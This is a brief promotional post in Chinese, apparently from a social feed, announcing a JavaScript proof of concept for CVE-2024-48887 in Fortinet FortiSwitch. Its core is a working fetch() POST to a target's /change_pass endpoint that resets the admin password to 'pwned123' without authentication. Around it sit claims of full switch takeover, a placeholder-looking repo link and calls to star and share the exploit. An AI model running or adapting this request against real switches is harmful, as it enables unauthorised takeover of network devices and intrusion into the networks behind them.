CVE-2024-48887-FortiSwitch-Exploit

🚨 FortiSwitch CVE-2024-48887 PoC (JavaScript) 🚨

🔥 刚刚发布了一个轻量级 JavaScript 代码片段，演示了如何在存在漏洞的 Fortinet FortiSwitch GUI 端点上触发未经授权的密码更改。

🛠️ 关于漏洞： 攻击者可以构造一个简单的 fetch() 请求，在无需任何认证的情况下操纵密码设置，直接针对 /change_pass 端点变体。

fetch('http://target-ip/change_pass', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    username: 'admin',
    newpass: 'pwned123',
    confirm: 'pwned123'
  })
})
.then(res => res.text())
.then(data => console.log('Response:', data));

💡 影响：完全接管交换机、潜在的横向移动以及网络入侵。

📁 仓库：github.com/yourusername/CVE-2024-48887-FortiSwitch-Exploit ⭐ 给仓库点个 Star，并分享给你身边的信息安全伙伴吧！

📢 通过 @cybersecplayground 关注完整分析和实时警报

#JavaScript #infosec #bugbounty #CVE2024 #Fortinet #FortiSwitch #RCE #exploitdev #cybersecurity #PoC #github #OSINT #cybersecplayground